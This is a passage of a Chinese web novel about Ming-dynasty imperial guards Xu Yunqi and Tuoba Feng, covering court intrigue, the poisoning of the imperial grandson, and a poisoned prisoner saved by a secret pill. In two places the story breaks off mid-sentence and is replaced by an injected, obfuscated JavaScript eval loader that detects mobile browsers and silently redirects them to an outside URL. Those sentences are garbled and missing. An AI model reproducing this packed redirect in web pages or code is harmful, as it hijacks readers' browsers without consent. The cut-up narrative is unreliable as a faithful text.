云起这些时日以来,心中想的俱是蓝玉那话,蓝玉非是危言耸听,从蒋瓛,蓝玉的言语推断,朝廷众官都一致认为,锦衣卫的权利已经势大难制。 文武群臣要确保朱元璋死后,朱允炆能控制得住锦衣卫,便极有可能上书弹劾,请求削去一人。甚至会将削去那人胡乱治个罪名处死,以威吓后来者。 曾经手握大权的毛骧便是最好的例子,当胡惟庸一案不可收拾,廷外言官近百齐跪,朱元璋便只得斩毛骧以平众怒。 若局势演变到最糟糕的一步——朱元璋要斩拓跋锋,自己该如何求情,才能保住拓跋锋的性命? 换句话说,若被斩的人是自己,拓跋锋是否会…… “看甚”拓跋锋面无表情道:“你看了我一天。” “……” 云起蹙眉摇头,拓跋锋随手撑着宫墙,将云起压在墙边,道:“想师哥了?” 云起随手摸了摸拓跋锋英俊的脸,问:“你有多少银子了?”旋推开拓跋锋的手,朝宫内行去。 拓跋锋疑道:“钱不是你管着么?” 云起一想也是,答道:“加这次的赏钱,估计有一百二十两了。” 云起朝锦衣卫大院内行去,道:“百余两都拿着,辞官卸职罢。” 拓跋锋一听来了精神,大步追上云起,转身倒退着走在云起面前,笑道:“你想辞官了?” 云起没好气道:“不是我想辞官,是你辞官。回家娶媳妇儿罢。” 拓跋锋一脸茫然,道:“这话怎说?” 云起一面走,一面道:“我怕……你会有危险。你先回家去,再过几年,等皇孙登基了,我便回来,以后咱买俩房子靠在一处,作邻居……” 拓跋锋蹙眉道:“回家去?回谁的家?” 云起停下脚步,想起拓跋锋是孤儿,纵是回克鲁伦河,那处也已成了荒原。 二人进大院,那时院内小伙子齐出,在院角凑作堆,不知闹甚。 秋阳温煦,梧桐落叶满地,数十名锦衣华服的侍卫各个起哄,笑着喊道: “嘿哟——嘿哟——” 一群侍卫朝墙角挤个不停,密密麻麻,竟是数十人将一人挤在大院角落里。 皇宫中穷极无聊,不知从哪年起,宫内侍卫偶尔闷得发慌,力气无处使,便常喜欢随手抓来个人,推到墙边,一拥而上,呼朋引伴,玩那脑残的挤人游戏,名唤“嘿哟”。 年轻热血的侍卫们一面“嘿哟嘿哟”,一面出足力气,群起而挤一人,将那被欺负者挤得尽了兴方罢休。 云起拓跋锋打小进宫当侍卫,自是从小被“嘿哟”到大,大凡宫中男子,除朱元璋没人敢抓来“嘿哟”以外,就连皇孙朱允炆也被挤过好几次。 论起声势最为浩大的一次,还是上百侍卫群挤当朝太傅黄子澄,将其挤成帽丢鞋歪,小便失禁,衣裳凌乱的空前盛典。 从那之后,黄子澄在宫中行走,只要见了超过三个侍卫勾肩搭背,便识相绕道。 云起只当见不到,与拓跋锋走进院中,不再谈论先前所说之事。 被欺负的人多了去,自不会有人小气得去朱元璋面前告状,只不知被挤在角落里那人是哪个可怜虫。 云起进了房,房外“嘿哟嘿哟”声不绝于耳。 云起搬了张椅子,坐在檐廊下晒太阳,拓跋锋在他身旁蹲了下来,道:“有什么危险?” 云起忽然想通了,笑道:“没什么危险,相依为命,死不了你。” 拓跋锋听了这话,像是倏然间心花怒放,大声道:“对!”旋即一撩袍襟,笑着冲进侍卫堆里,喊道:“嘿哟——!” 云起哭笑不得,摇了摇头,起身回房数钱。 “嘿哟——嘿哟——” 拓跋锋一加入,众侍卫逾发来了劲,只想将墙角那人挤死。 云起数完钱出来,只见侍卫们还在嘿哟,登时炸毛了,吼道:“这嘿哟的谁呢!还没完!都半个时辰了!” 拓跋锋一副得意洋洋的样子,侧着身子,朝云起招手,并狠命挤去,喊道:“嘿哟——” “……” 云起怒道:“拓拔正使!让他们散了!再嘿哟就出人命了!” 拓跋锋捏了捏自己耳朵,笑着喊道:“再玩一会儿!” 云起咬牙切齿,转身入房,片刻后提着金灿灿,宝光万道,三尺两寸长一物出来,煞有介事道: “尚方宝剑在手!都给我散了,吵死了!要睡午觉了啊!” 那物正是朱元璋赐予锦衣卫正使的尚方宝剑,拓跋锋一见云起连咸鱼也请了出来,忙不迭道:“祸事了祸事了,散伙!” 众侍卫这才大笑着一哄而散,云起提着尚方宝剑,疑惑望向墙角被挤的那人。 那男子约摸三十岁出头,一身饕餮红锦,被挤得半死不活,吼道: “他娘的!谁先带头挤的!荣家的小子是罢!本王饶不了你!” 云起下巴哐当一声掉地。 那男子拾来黑靴,一跳一跳地穿上,哭丧着脸道:“我的小舅子喂——姐夫险些就被挤死了,可总算见着你了。” 云起两眼翻白,晕了过去。 8. 廷上杀机 朱棣乃是朱元璋第四子,十一岁受封燕王,自十四岁起便跟随蓝玉大军外出征战,大败北元残兵于克鲁伦河,归国后二十一岁就藩北平,至此成为明朝最强的北面屏障。 民谣云:燕王就藩,固若金汤。 北起捕鱼儿海,南至万里长城,西接丝绸之路,东断嘉峪关,有朱棣镇守一日,北元残兵便不敢贸然南下。 朱棣长相随母,然而朝廷中无人知道朱棣生母是谁,都言燕王容貌与朱元璋大异。 朱元璋目狭鼻阔,鹰视虎行。 朱棣则长着浓厚的一字眉,双目如漆,鼻梁高挺,唇薄如刀。眼中不时现出促狭之色,正如参军多年,老兵痞子的油滑,看似大大咧咧,却颇有城府。 命相有言,薄唇之人最是无情。云起却不这么觉得,起码朱棣对徐清是极好的,顺带着对徐清的娘家人,也十分不错。 果然朱棣一抖袍襟,坐下便道:“你姐着我来问,上回替皇孙挨的二十廷杖好了么?再过三天大哥出殡,我与皇上分说几句,带你去北平将养数日,一家人也好聚聚。” 云起递了茶,苦笑道:“我倒是想告假去你地头上玩,你瞧这光景,怎走得开?” 朱棣道:“不妨,令锋儿守着便是,我自去与你分说。” 云起忙道:“留他一个人在,出了事恐怕压不住。” 朱棣看了云起一会,直看得云起心里发毛,云起呸道:“你不过比我俩大个十来岁,也老着脸‘锋儿’‘云儿’地一通混叫。” 朱棣笑了起来,饶有趣味道:“拓拔锋是我拣回来的,如我儿子,不唤锋儿唤什么?” 婿舅二人随意寒暄几句,说的俱是京中动向政局,朱棣常年镇守北平,对南京朝廷中事不甚熟悉,云起倒也大方,便将天子脚下之事一一道来,末了谈到蓝玉,又相对唏嘘甚久。 朱棣摇头叹道:“当年我跟蓝大将军出征,行军布阵,倒是受过他不少指点,认真说起来,没有当年的蓝玉,我亦不能建得下军功,受藩北平。” “之所以有今日,归根到底,俱拜蓝玉所赐。” 云起嘲道:“只怕你心里谢他,他九泉之下倒不甚领情,那天我想做东,请你二人作一席喝酒,蓝玉还道你一肚子坏水,瞧你不顺眼来着。” 二人相视大笑片刻,朱棣正色道:“本王实在是个安分守己的良民……” 云起哭笑不得道:“这就吹罢,仔细风大闪了舌头。”说毕作势起身,又道:“藩王乃是外臣,少与近侍往来,免得让那群言官揪了小辫子,保不得你。” “不送了啊,回家问我姐安好。” 朱棣笑道:“也罢,这就走了。” 云起将朱棣送到门边,朱棣又问:“皇上近来身子可好?” 云起打趣道:“又来个想谋反的,没事问这作甚?” 朱棣坏笑道:“你非是不知,老头子素来喜猜疑,当面请个安,问句身子便要疑我造反,说不得只得问你了。你与锋儿在他身旁呆的长,我父如何了?” 云起似有所触动,只以为朱棣出自真心,倚着门想了片刻,答道:“实话告诉你,不大好了。” 朱棣色变道:“怎说?!” 云起低声道:“上回打方孝孺,还咳血来着,听说他壮年时武技练练停停,被旁的事岔了心神,现日夜操劳,老来体虚……只怕撑不过这几年了。” 朱棣吁了口气,把两手揣在怀中,一副闲散王爷的模样,那锦衣玉带,饕餮绣服,俱成了这兵痞的陪衬,显得煞是滑稽。 只听朱棣漫不经心道:“小舅子,姐夫的荣华富贵可就靠你了……” 云起转身去请尚方宝剑,朱棣忙不迭地逃了。路过前院那会,又匆匆拉住拓拔锋,在门外相谈片刻,只见拓拔锋不知听了何揶揄,一脸古怪的进来。 幸好已立了朱允炆作太子,否则若是被这兵痞当了皇帝,江山还不知如何个乱法。 云起伸了个懒腰,出得房外,随手抄了院中笤帚,便将落叶扫作一堆,那时间拓拔锋怀中揣着一叠纸票,匆匆进房。 云起暗自好笑,心想八成是得了朱棣赏儿子的银票,跑去藏私房钱了。遂道:“老跋,寻俩地瓜来,烧树叶烤了吃。” 拓拔锋在房中心不在焉地“哦”了一声。 云起左右扫扫,忽见院角里有一张纸。躬身拾起来,煞有介事念道:“银票……五百万!?!” 云起霎时间吓得变了声调,攥着那张纸大呼小叫。 “师哥!我拣到一张五百万的银票!” 云起屁滚尿流地冲进房,与拓拔锋撞了满怀,拓拔锋掰开云起的手,看了一眼,揉成一团扔了: “那是烧给死人的纸钱。” “……” “你没见过纸钱?” “……” 闻风出房的侍卫们一个个笑岔了气,云起满脸通红,恨不得找个地缝钻进去。 太子朱标入殓后的第四十八天。 秋凉如水,南京斩了上万人,秦淮河两岸在一夜间寒了下来。 今日是朱标尾七,锦衣卫俱换上黑服,于宫中四处巡逻。只待第四十九日后,明晨朱元璋,朱允炆及一应皇亲国戚扶灵出京。再由皇孙披麻戴孝,卸冠撞椁,送往凤阳。 朱标在云起心里的印象不过是个老实厚道人,常温和微笑,遇事不知变通,缺乏幽默感,听不懂侍卫们开的玩笑,只懂点头。与黄子澄倒是什么锅配什么盖。 朱允炆像极了已故太子,然而内心更善良,这父子二人再与燕王朱棣一比……云起只觉还是朱棣有点朱元璋年轻时的模样。 暮色沉沉,锦衣卫交班鼓敲响。 拓拔锋顺手拉直衣领,准备接云起的班,庆和殿紧闭的漆门开启。 黄子澄与五名锦衣卫同出,云起站在门口,低声道:“皇上传你我二人侍立,其余人等,殿外候命。” 拓拔锋双瞳倏然收缩,额上冒出冷汗。 “怎么?”云起观察拓拔锋神色,拓拔锋沉默不答,抬头入内。 云起握了握拓拔锋的手,彼此极有默契地各自分开,锦衣卫正副使同时值班,只意味着两件事: 一:朱元璋有重大机密要处理。 二:朱元璋要杀人。 殿中灯火通明,油灯从四面八方将光线投向龙案,消弭了朱元璋垂老的佝偻身影。 朱元璋咳了几声,挥退上前的老太监。 太监躬身出殿,殿中唯余拓拔锋立于左,徐云起立于右。 朱元璋将染血的帕子放在案前,殿门再次推开,进来的是朱允炆。 关门瞬间,云起瞥见黄子澄表情复杂的脸。 “孙儿拜见皇祖父。”朱允炆眼眶略红,躬身。 云起心中叹了口气,朱允炆总是不懂如何掩饰,毫无城府。想到死去的太子,心情便明明白白写在脸上。 朱允炆眉清目秀,眼中蕴着一股悲痛难言的温柔,朱元璋看在眼中,亦叹息道:“死者已矣,允炆,莫悲恸过度,仔细着身子。” 朱允炆点了点头,云起忽然明白了为何朱允炆能脱颖而出了。 帝王家真性情的人本极难寻,朱元璋自己便是玩弄权谋的高手,与朱棣对上,对儿子的心思早就一清二楚。反而对在皇帝面前从不掩饰自己,坦坦荡荡的朱允炆青眼有加。 朱棣注定了只能当个燕王。换句话说,城府与权谋是朱元璋毕生的遗憾,为了弥补这个遗憾,他想把皇位传给洒脱自在的朱允炆,正如一个他达不到的目标,要借助子孙的手来完成。 朱允炆再次躬身答“是”,于是祖孙二人便这么默默相对,许久后,朱允炆不安地打破了这沉寂,道:“明儿扶灵,爷爷会去么?” 朱元璋道:“自然是要去的。” 朱允炆点了点头,稍觉安心,朱元璋道:“先教你一次,熟了路子,过几年等爷爷死了,你须得自己学着料理丧葬事宜。把爷爷的棺材送回凤阳去,与你父亲葬在一处。” 朱允炆听到这话,悲从中来,放声大哭。 朱元璋却莞尔微笑,劝慰道:“莫哭,允炆,人谁无死?” 那一瞬间,云起依稀有种错觉,朱元璋不再像是个刚断完数万条人命的帝王,更似一个和蔼,亲切的老人。 朱允炆哭了好半晌,方含泪点头,跪了下来。 朱元璋道:“你的天下,爷爷早已为你打点好了,如今有你的几个叔叔镇守边疆,你便可在家里安心做皇帝。” 朱允炆抽泣片刻,点了点头。 朱元璋又道:“言官们的话,愿听便听,不愿听的可以打,不可革此职,朝中少了他们不行。” 云起一颗心登时提到了嗓子眼,几乎能感觉到站在龙案另一侧,拓拔锋激烈的心跳。 朱元璋会如何评价锦衣卫?!当着二人的面提起话题,有何用意?! 要削一人……以免势大,削一人以免势大,削一人削一人……云起笼在袖中的手不住颤抖,抬眼望向拓拔锋,只想过去与他站在一处,挡在拓拔锋身前。 朱元璋沉吟片刻,而后道:“锦……” 云起满头是汗,汗水浸湿了侍卫冠的带绦。 云起万万想不到,朱允炆会在这时开口打断朱元璋的话。 “外敌有叔叔们防着,然而……若是叔叔们造我的反,允炆又该如何?” 朱元璋也想不到,遂在这问题前微一怔。 云起与拓拔锋同时松了口气。 朱元璋静了片刻,而后道:“你待如何?” 朱允炆低头,思考片刻后,抬头道:“以德服之,而后以礼束其行,再者削其藩,至不济则……” 朱元璋冷冷道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472489|185544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黄子澄教你的?” 朱允炆点头,朱元璋又道:“太傅令你问的此事?” 朱允炆默认了。 朱元璋道:“云起,你是徐家之人,且说说你如何想?” 云起气息一窒,想也不想便脱口而出道:“离间。” 朱允炆微震,朱元璋似是对此答案十分满意,缓缓点头:“若俱有不臣之心,当可挑拨其互斗……如此内忧可解,允炆,好歹是你的叔叔,不需走到刀兵相见那步。” 朱允炆伏下身去,朱元璋又道:“黄子澄其人是个书呆子,只识空谈,书生误国。不可尽信其言。” 听到此话,云起不由得生出莫大的荒谬感,朝中开国功臣被你杀了个清光,如今便只剩几个书呆子了,万一哪天朱棣真要造反,黄子澄还能带兵打仗不成? 朱元璋又道:“方孝孺此人颇有骨气,虽言行古板,其气节可嘉,你不妨多与他谈谈。” 朱允炆称是,朱元璋又道:“回去罢,晚上早点睡,明日五更便须出城。” 朱允炆磕了头,转身离去,云起唯一的愿望便是:朱元璋接着吩咐打开庆和殿门,而后召锦衣卫进来,一切恢复正常。 然而朱元璋没有,朱允炆离去后,殿内便只剩三人。 “徐云起。” 朱元璋淡淡道。 云起躬身,颤声答道:“臣在……” 朱元璋眉毛拧在一处,干枯的老脸上现出一抹杀机。 “……” 拓拔锋眼中尽是难以置信的神色。 云起竭力呼吸,那空气似是凝固般撑着他的肺部生痛,云起走到殿中,双膝跪下,道:“臣在。” 那时间云起脑中思考已臻极速,要如何保住拓拔锋,阐述锦衣卫之事,表忠诚,誓死,脱罪……无数理由在脑中掠过。 朱元璋道:“锦衣卫指挥副使,徐云起,你可知罪?!” 那一句,犹如晴天霹雳炸开,令云起脑海中一片空白。 朱元璋抽出一张奏折,抛在地下,落于云起面前。 云起看着那张奏折,恍若被照头浇了一盆冰水,刻骨铭心。 奏折上是张勤的身世表,从小到大,事无巨细,一应俱全。御笔朱砂圈点,更亲自批注二字:“蓝沫。” 云起脑中嗡的一声,完全无法接受,起初只以为朱元璋要治拓拔锋,自己是皇亲国戚,又是功臣徐达儿子,决计牵扯不到自己头上。 然而他低估了朱元璋的智力。 一时间,蓝玉案前因后果变得豁然开朗,一切都是朱元璋设下的局! 自诬陷蓝玉谋反,蒋瓛密告那一刻起,朱元璋便有意通过自己走漏风声,营造出蓝玉心虚畏罪潜逃的假象! “聪明反被聪明误,云起,现下可明白了?”朱元璋冷冷道:“拓拔锋。” 拓拔锋自云起跪下的那一刻起,便双目呆滞地看着跪于殿前的徐云起。 朱元璋怒道:“拓拔锋听令!” 拓拔锋终于回过神,那副表情,甚至根本不明原因。 “臣……在。” 拓拔锋一撩袍襟,茫然奔到殿中,与云起并肩跪下,伏身道:“一切俱是臣自作主张,与徐副使全不相干,臣……罪该万死!” “……” 朱元璋愣住了。 朱元璋打量拓拔锋许久,想不通其中关窍,云起却已缓缓道:“罪臣私放张勤蓝沫,论罪当诛,一人做事一人当,拓拔锋毫不知情,臣愿领罪。” 朱元璋沉声道:“既是知罪,拓拔锋将其带下收押,明日午时……” 拓拔锋吸了口气,抬脚起身。 朱元璋坐在龙案后,瞬时眯眼,不易察觉地朝后避了半寸。 拓拔锋上前一步,再次跪下,半个身子挡在云起身前,猛然以头杵地,发出一声闷响,鲜血长流。 “私放反贼一事是锋授意,与云起无干,锋罪该万死!”拓拔锋沉声喝道。 朱元璋勃然大怒道:“拓拔锋,你居心何在?!来人!殿外锦衣卫可在!” 云起手腕一抖,仰头迎上朱元璋的视线。 突如其来的杀机锁定了朱元璋全身,手指尖捏着蝉翼刀,不住震颤。 拓拔锋双目现出惊恐的神色,转身死死攥着云起的手腕! “砰”的一声,庆和殿门被推开,近十名锦衣卫冲入。 一太监紧跟其后,惶急道:“皇上——!大事不好!皇孙……” 朱元璋骤然动怒,冷不防又遭这一喝,险些吐出血来,再顾不得云起拓拔锋二人,惊疑不定地望向那前来传信的太监。 “……方才皇孙守棺……烧、烧纸钱那时……太子魂魄显灵,将皇孙的魂……勾走了!” 拓拔锋松了口气,嘴角浮现一丝微笑,放开云起的手腕,反手勾起他的指头,轻轻一紧。 9. 命悬一线 阴暗牢房中,云起与拓拔锋背靠潮湿墙壁而坐。 锦衣卫正副使被分关于两个紧邻的囚室内,背脊中间,是一堵长满青苔的砖墙。 拓拔锋把手伸出铁栅栏外,朝背后摸去,漫无目的地捞了一会,云起伸出手来,与他牵在一起。 拓拔锋漠然道:“胆子真大,方才想对着皇上扔蝉翼刀?” 云起笑了起来,答道:“舍得一身剐,敢把皇帝拉下马。” 拓拔锋手指错开,与云起不自然地相扣,又道:“你不怕被诛九族?” 云起感觉着拓拔锋掌中的温度,答道:“他不敢诛我九族……皇亲国戚,按理只诛一人。” 拓拔锋不悦道:“所以你便……” 云起“嗯”了一声:“反正无论如何,皇上都得杀我,不如我当庭悍然犯上弑君,你再将我击毙……” “这么一来,待我死后,你的位子便坐牢了,护主之臣可得铁券,允炆以后也不敢拿你怎么样。” 拓拔锋的手劲捏得云起生痛,云起又笑道:“师哥,皇上不过是关你几天,等我死了,你就能出去。房间箱子里那一百二十两银子,就都归你了啊。” 拓拔锋沉默不语,云起又道:“我上回进你房里,翻出两枚……” 话未完,牢外传来匆匆脚步,狱卒腰际钥匙叮当作响,拓拔锋猛然转身,死死攥着云起的手,将他扯着贴在栅栏上,吼道:“不——!不!” 云起半个肩膀被拉着贴在铁栅上,侧脸紧贴着潮湿冰冷的石墙,闭上双眼。颤声道:“师哥,云起走了……” 拓拔锋瞬间如发疯的野兽般猛撞牢门,声嘶力竭道:“别杀他!我要面圣!让我死——!” “做甚?”朱棣突着眼,莫名其妙地看着云起与拓拔锋:“师兄弟练功?” 两人愣住了。 朱棣吩咐道:“开门开门。小舅子,你怎被关进来了?” 云起一头雾水道:“现如何了?” 那狱卒不住翻检钥匙,被朱棣一巴掌拍在脑后,朱棣怒道:“滚!”劈手便夺了钥匙,把牢门打开,搭着云起的肩膀,让他出来,又吩咐道:“锋儿先在狱中呆几天。” 云起松了口气,被一股说不出的疲惫所笼罩,朱棣既这么说,料想是没事了。 云起躬身出了牢房,朱棣在身后为其拣了肩上,身上稻草,又掸去尘,云起隔着牢栏对拓拔锋说:“那我……先去看看。” 拓拔锋的双眼中现出难解的神色,定定看着朱棣。 朱棣道:“允炆方才守灵昏厥,现……不知如何,像是被魇了,皇上着我带你去看看他。” 云起朝拓拔锋道:“你怎么了?” 拓拔锋道:“燕王,你须得作保,云起不会有事。” 朱棣与拓拔锋对视片刻,点了点头。 拓拔锋又道:“你说。” 朱棣道:“锋儿莫担心,云起不会有事。”旋不再多言,让着云起出了牢房。 拓拔锋在空旷的回廊中忽然说了一句: “云起,再会。” 云起站在诏狱出口,心头倏然被那句话抽了一下。 云起回头,蹙眉道:“什么意思?”正转身时却被朱棣扯着,朱棣连声道:“莫啰嗦了,快走,皇上等着呢!” 拓拔锋呆呆眼望云起与朱棣离去。 云起离开后,不到半刻钟,诏狱外进来个人,身穿燕王府中亲兵服饰,手中端着木盘。 盘中置着一壶酒,一个杯。 朱棣带着云起匆匆进了延和殿,夜已全黑,殿中灯火通明,殿外站了一地人,朱允炆躺在床上,四肢抽搐,嘴里冒着白沫,口中仍不清不楚念着。 “什么时候中的魔?”云起喝道:“都让开点,我看看!” 地下小太监结结巴巴道:“方才……皇孙去、去守尾七,令、令我们奴才走开、在殿里烧烧……纸钱,烧着烧着……魂儿便一路飞出御花园……在那墙上站稳,升天……” 云起心急火燎,只以为朱允炆是设计令自己与拓拔锋脱身,不想竟真的撞了邪!看那架势只怕不好,又沉声问道:“御医呢?!” 朱棣答道:“皇上带着御医们来过又走了。御医说看不出蹊跷来,鬼神之说……” 云起拉开黄子澄,凑上前去,翻开朱允炆眼睑看了看。 朱允炆的身上有股香气。 “皇孙?我是云哥儿,你认得出我么?”云起焦急问道,又伸手去把朱允炆的脉。 朱允炆“嗬嗬”数声,抓着云起的衣袖,云起从未见过撞邪,于鬼魂索命一事本不太信,退一万步说,朱标乃是允炆亲父,纵是变鬼,岂会害自己的儿子? 云起低头在朱允炆面探了鼻息,挨得极近,朱允炆极为艰难地呼出一口甜香,云起瞬间明白了。 这是中毒——! 云起来不及仔细思索,便喝道:“不是撞邪!去寻太医,取银针与火瓶来!” 说话间云起扯了帕子,将朱允炆口中污物手忙脚乱地揩干,深深呼出肺中空气,手指钳着允炆鼻子,猛然俯身,以嘴唇封住了朱允炆双唇。 紧接着云起竭尽全力地一吸气,朱允炆的脸色登时煞白,众太监齐声惊叫。 云起与朱允炆分开,朱允炆在榻上,云起跪在地下,俱是猛烈咳嗽。 云起喘息片刻,咳出一口血沫,再扑上榻,按着不住抽搐的朱允炆。 如此反复数次,朱允炆脸上死灰一般的神色已褪去,恢复些许生气,朱棣带着一大群御医急匆匆地奔回殿来,见云起与朱允炆唇贴着唇,瞬时色变。 云起转头,嘴角兀自挂着咳出来的血丝,道:“快拿银针来——!” 朱元璋铁青着脸,站在不远处静静看着云起。 云起接了银针,在火瓶上烘烤片刻,抓起朱允炆的手,道:“允炆——!” 继而将那银针对着朱允炆的指甲缝插了进去。 朱允炆睁着一双空洞的眼,“喝”的一声疾吸,咳出一口血。 “允炆!”云起再将第二根针猛然插进,朱允炆“啊”的一声大叫!开始疯狂呼吸。 朱允炆涣散的瞳中恢复神采,怔怔看着云起,虚弱至极。继而点了点头,嘶哑的嗓音干涩无比。 “云……云……” 云起松了口气,示意其不要说话,抱着朱允炆,让他睡稳。背上已虚脱般地满是冷汗。 云起退开,御医们方一窝蜂地上来,检视朱允炆病情。 朱元璋来晚一步,正要开口询问,朱棣却道:“云起,你没事罢?” 云起不住咳嗽,只觉朱允炆中的那毒烟煞是霸道,一时间说不出半句话来,只得按着肺部,朝殿外指了指,朱棣忙上前扶着,道:“传御医给你看看?” 朱元璋沉声道:“让他出去喘几口气,稍后再问此事蹊跷。” 云起点了点头,继而挣开朱棣,朝朱元璋跪下伏身,再跌跌撞撞地出了延和殿,走向御花园。 呼吸式中毒,毒烟……云起倚着假山,大口喘息片刻,脑中恢复清醒,眯起双眼。 现只有他一人知道朱允炆是中毒,而非撞邪,这是怎么回事?有人要谋杀皇孙?!在灵堂内怎会吸入毒烟? 云起走向御花园另一侧的灵堂,见四处杂乱,显是朱允炆昏倒后无人顾得到这处。 一名太监正在打扫灵堂,脚步虚浮,秋风吹来,铁桶内的火灰扬起,卷向白纱帘后的玉棺。 云起走进灵堂的那一刻,闻到一股甜香,正是朱允炆身上带的毒烟之味。 一片纸钱被风挟着飞出御花园中,云起登时手足冰冷,上前揪着那小太监道:“下午皇孙守灵前,有谁来过?!” 那小太监愣住了,过了许久,战战兢兢憋出一句: “锦……锦衣正使来看过灵堂。” 朱棣于墙角边遗落的一张纸钱……拓拔锋怀揣一叠纸藏进房内……朱允炆烧纸钱拜祭……瞬时间无数不经意忽略的细节,被清清楚楚串于一处。连成了明晰的线索。 云起刹那转身,奔向诏狱。 铁栏发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472490|185544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出一声巨响,云起吼道:“老跋!” 拓跋锋背对牢门,蜷缩在地上,听见云起的声音,肩膀微一抽,像是想回头,却又堪堪忍住。 “纸钱是你放在灵堂的?!”云起厉声道:“是我姐夫交给你的?!” “你为什么要谋杀允炆!” “回答我——!” 拓跋锋断断续续道:“燕王……于我族人有恩……” 云起难以置信,拓跋锋高大的身子竟似十分畏惧,蜷成一团,不断抽搐,更急促喘息。 云起吼道:“我看错你了!” 云起猛地拔出腰畔佩刀,对着栅栏发疯般一通猛砍。吼道:“拓跋锋——!你等死罢!” “云起……云……别走……”拓跋锋虚弱的哀求道。 云起脸上泪水滚落,哀叹一声,丢了佩刀,喃喃道:“怎会这样……我姐夫……我……师哥,我们都完了。” 拓跋锋剧咳几声,嘴角淌出一丝鲜血,道:“皇孙……死了么?” 云起木然道:“没有。我把他救活了,皇上一旦追究起来,大家就要一起死了。” “你们都疯了吗!”云起又抓着铁栅狠命摇晃:“都疯了——!” 拓跋锋一阵颤抖,把头低了下去。 云起深吸一口气,忽地察觉到一丝不妥。 自己在诏狱内呆了这半晌,怎没有人?狱卒去了何处?! 云起忙转头寻找,狱卒圆睁双眼,尸体躺在桌下,云起瞬间背脊发寒,想到了最坏的那个结果。 “老跋!”云起转头望向牢房。 他听不到拓跋锋的回答。 云起翻出狱卒腰畔钥匙,打开关押拓跋锋牢门,发着抖将拓跋锋翻过身,颤声道:“师哥……” “师哥?” 拓跋锋紧闭双眼,气若游丝,嘴唇已是剧毒的死灰,云起拾起落在稻草中的酒杯,以手指沾了,对着昏暗的灯光绝望审视。 鹤顶红。 十七年前,崆峒山。 戎装钢铠,年逾花甲的徐达欣然落子。 对弈之人则是一名老道,道袍油腻邋遢,容颜却是仙风道骨。 老道人声音洪亮:“便唤‘云起’如何?行到水穷处,坐看云起时。此子来日大有作为,将应你明教天下山重水复,柳暗花明之劫。” 徐达会心笑道:“云起,好名字;未曾请教道长仙号。” 老道微笑不语,似是想到何事,于怀中取出一纸包,放在棋盘上,答道:“贫道素无道号,俗家姓张。” “张道长这是……”徐达愕然道。 老道捋须笑道:“此乃先师赠我之物,内有少林秘药‘枯荣造化丸’一枚,呼风唤雨符一张,另有上古宝刀,名唤‘蝉翼’两寸方圆,吹毛断发,削铁如泥。此三宝留于我手,皆无大用,便一并赠你小儿,也是有缘。” “枯荣……造化丹。” 云起抱起拓跋锋半个身子,解下系在脖上的红绳,拿出一个极小的贴身布包。 他取出布包里泛黄的符纸展开,随手扔到一旁,符纸间包着一枚乌黑的药,继而将那药喂给拓跋锋,无意识地紧紧俯身,搂住了他的脖子,凑到他的鼻前。 拓跋锋的气息如游丝一般虚弱,过了许久,冰冷的身体开始逐渐回温,云起只觉被一股突如其来的疲乏所笼罩。 远远传来的更鼓之声惊醒了他。 云起连忙站起,将拓跋锋负在背上,吃力地背着他,走出了诏狱,御花园内空空荡荡,寂静无声,云起心跳剧烈,几番险些从嗓子眼里蹦出。 他穿过黑夜,朝内宫西面走去。 “师哥……?”云起颤声道。 “嗯。”拓跋锋低声答了,气息恢复温暖,在云起颈侧微微呼吸。 云起松了口气,人救活了,接下来要去哪? 他还未想好,只知拓跋锋若留在宫内必死,此事一旦揭开,便又是牵连无数人的一桩大案……盲目地走着,蓦然发现,自己背着拓跋锋,回到了锦衣卫居住的大院。 10. 夜泊秦淮 院中空无一人,今夜连着出了几件大事,锦衣卫俱被派出去当值,云起对着空空荡荡的院子,终于恢复了镇定,重拾思绪。 云起把拓跋锋放在梧桐树后,转身就跑,手捏蝉翼刀,疾奔过小半个皇宫,回到诏狱中。 云起看了一会,拾起先前遗落于地上的符纸,揣进怀中,捡来带着残酒的瓷杯,一拍为二,又拉过狱卒尸身。 云起将那尸体倚在铁栅前,以碎瓷在其脖颈处割开一条伤口,再运起内力,甩手抛出碎瓷片,令其牢牢钉在墙上。营造出拓跋锋察觉酒中有毒,甩手暗器杀死看守的假相。 然而狱卒死去已久,尸体冰凉,脖颈处只淌出些许粘稠血液。 云起咬牙以蝉翼刀划了手臂,鲜血涌出,蹭了一地,方撕下里衣内襟包扎妥当,转身离去。 再奔回大院内那时,已是两更时分,宫中到处灯火通明,云起失血后一通速跑,只觉眼前发黑,倚着院墙喘息片刻,回了力,置斜斜倒在梧桐树下的拓跋锋于不顾,推门进房。 云起打开柜门,收罗了财物,沉吟片刻,取来自己绣春刀,握在手中掂了掂。正面刀柄上铭刻一字:云。 翻柄时,对着掌心那一面,又有歪歪斜斜一字:锋。 “云起,领到绣春刀了?” 十五岁的云起笑着点了点头,道:“走,去请师娘刻字。” 拓跋锋与云起二人并肩坐在玄武湖畔,云起手里把玩着刚到手的绣春刀,拓跋锋笑道:“从此你便是锦衣卫了。” 云起沉吟微笑,随手挥刀,一道剑风荡出,激得湖面泛起水纹,云起又伸手抽出拓拔锋腰侧佩刀,两手抛了抛,互换持刀,道:“怎比我的重?” 